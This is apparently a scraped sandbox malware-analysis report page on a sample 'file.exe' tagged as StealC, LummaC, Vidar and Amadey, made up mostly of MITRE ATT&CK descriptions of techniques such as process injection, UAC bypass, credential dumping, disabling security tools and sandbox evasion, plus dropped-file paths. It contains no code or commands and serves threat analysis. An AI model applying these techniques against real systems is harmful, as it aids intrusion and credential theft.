Opcode ID: 677ed08c0950d6906eba2e3ad42883f2cd8395286ebfbb5c5288f269c4e3db9d
Instruction ID: 1bd088faa4903973159ad1fdad4e8a4b7aa92b533ad19a94a6e6e07a1924fcf4
Opcode Fuzzy Hash: 677ed08c0950d6906eba2e3ad42883f2cd8395286ebfbb5c5288f269c4e3db9d
Instruction Fuzzy Hash: 03F0E9B17001156BEB00EB65DC45D6773ACFF45296B051434EC1DC3A00D726F41187F5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKKFHDAK

C:\ProgramData\BFHJJJDAFBKEBGDGHCGD

C:\ProgramData\FCFBGIDA

C:\ProgramData\FIECFBAAAFHIIDGCGCBF

C:\ProgramData\GDHIIIIEHCFIECAKFHJDAFCBFC

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre